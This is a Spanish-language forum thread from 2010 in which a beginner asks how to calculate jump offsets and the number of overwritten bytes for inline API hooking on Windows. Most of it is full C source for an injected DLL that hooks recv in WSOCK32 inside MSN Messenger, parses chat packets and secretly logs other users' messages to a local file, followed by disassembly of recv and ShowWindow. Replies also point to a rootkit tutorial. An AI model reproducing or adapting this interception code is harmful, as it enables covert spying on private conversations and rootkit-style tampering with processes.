me podeis decir Como calcular salto apihook?

Iniciado por SuperNovato, 16 Diciembre 2010, 19:25 PM

0 Miembros y 1 Visitante están viendo este tema.

SuperNovato

Holas toi q practico apihooking, vi unos codes, me podeis decir como calcular : el salto - los bytes a modificar ? estoi viendo con mi debugger : user32.dll, kernel32.dll, wsock32.dll y veo algunas apis tienen mas de 5 bytes a modificar.
Estuve intentando hookear el send del wsock32 en el MSN, pero crashea, creo que calcule mal.

Littlehorse

Pon lo que llevas hecho así se ve claramente el error sin necesidad de especular.

Lectura recomendada:

http://www.codeproject.com/KB/system/hooksys.aspx

Saludos
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

fary

Tambien te puedes leer el tutorial de EON sobre como crear rootkits, en una parte del tutorial explica perfectamente como averiguarlo.

salu2!
Un byte a la izquierda.

SuperNovato

#3
encontre este code donde se hookea a recv de "WSOCK32" de mazard:


//Interceptación de apis by MazarD (API HOOKING)
//Hook a WINSOCK
//www.mazard.info
#include <windows.h>
#include <stdio.h>

//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y
//el salto a la api+5
BYTE *Buffer;


struct infoConverses
{
SOCKET sckMSN;
char correu[5000];
}msnFuckit[20];

struct paquetes
{
SOCKET s;
char *buf;
int len;
int flags;
}paquete;


int cntscks=-1;

//Ésta es la dll donde reside la api Recv y Send
char Libreria[]="WSOCK32.dll";


char LogMsn[MAX_PATH]="c:\\logmsn.txt";

//El api en qüestión
char NomApi[]="recv";


//Variable Booleana Flag
bool blockrec=false;

//Funcion a la que llamará el programa principal creiendo que es la api original
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);


void Hookear(void);

void Filtrar(void);

//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer
int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);

//La función de reemplazo explicada arriba

int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags)
{

int res;

res=pBuff(s,buf,len,flags);

paquete.s=s;
paquete.buf=buf;
paquete.len=len;
paquete.flags=flags;
Filtrar();




return (res);
}

void Hookear(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
//Cojemos la dirección de memoria de la api
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);


//Creamos 10bytes de memoria para nuestro Buffer
if ((Buffer=(BYTE *)malloc(10))==NULL) return;
if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Buffer=(BYTE *)malloc(10);

//Le damos todos los permisos a los 10 bytes de nuestro Buffer
//VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

//copiamos los 5 primeros bytes originales de la api antes de machacarlos
memcpy(Buffer,DirApi,5);
Buffer+=5;
//En el sexto introducimos E9 que corresponde a jmp(salto
//incondicional) en código máquina para que salte a la api original
*Buffer=0xE9;
Buffer++;

//A partir del septimo metemos 4 bytes que determinan la distancia del salto
//desde el buffer hasta la Dirección de la api+5
*((signed int *) Buffer)=(DirApi+1)-Buffer;

//Asignamos al puntero a funcion pBuff el inicio del Buffer
pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);

//Le damos todos los permisos a los 5 primeros bytes de la api original
//VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYo=(BYTE *) FuncioRep;
//En el inicio de la api metemos un salto incondicional hacia nuestro código
//E9=jmp
*DirApi=0xE9;
DirApi++;

//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta
//la función de reemplazo en nuestro código, fijate que en este caso el
//resultado tiene que ser negativo, puesto que las apis corren en direcciones
//de memória mucho mas altas y el salto deberá ser "hacia atrás"
*((signed int *) DirApi)=DirYo-(DirApi+4);

//libermos las librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

void Filtrar(void)
{
FILE *Archivo;
char Escric[1024];
int payl;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;

if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=paquete.s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=paquete.s;
}

if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Archivo=fopen(LogMsn,"a");
fputs("\r\n",Archivo);
fputs(Escric,Archivo);
fputs(" dice:",Archivo);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Archivo);
fputs(Ini2,Archivo);
fclose(Archivo);

//Archivo=fopen(LogMsn,"a");
//fputs(buf,Archivo);
//fclose(Archivo);


}


}


bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{


//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos
if (fdwReason == DLL_PROCESS_ATTACH) {

Hookear();

}

return TRUE;
}



lo ejecute y ploffffff el msn explota :D

http://www.uploadfilesystem.com//viewimage.php?file=/imagenes/10/12/16/K2s36301.jpg

Entonces me puse a modificar un poco ps igual crash¡¡¡, luego lo midifique en vez de "recv" a "send" pa ver q sucedia y crash¡¡. asi que me harte y borre la modificacion, y lei en el tuto de mazard los saltos y los bytes que se deben modificar en la api pa q todo vaya bien, asi que meti la cabeza en el debugger (como dice mazard) y me fije recv:

recv:
88FF mov edi,edi
55 push ebp
8BEC mov ebp,esp
51 push ecx
51 push ecx
8B4510 mov eax,[ebp+10h]
8945F8 mov [ebp-08h],eax
8B450C mov eax,[ebp+0Ch]


cogiendo los 5 bytes serian: 88FF558BEC , pero como saber exactamente cuantos bytes se debe cojer si kisiera hookear otra api ? en el anterior por que se cogieron solo los 5 bytes?.

Lh: No hagas doble post. Utiliza el botón modificar.

En resumen, aki me estanco, me podeis dar una aclaracion de eso?




En la api ShowWindow de user32 sale esto:

B82B120000 mov eax,0000122Bh
BA0003FE7F mov edx,7FFE0300h
FF12 call [edx]
C20800 retn 0008h




Aqui cuantos bytes se cogeria?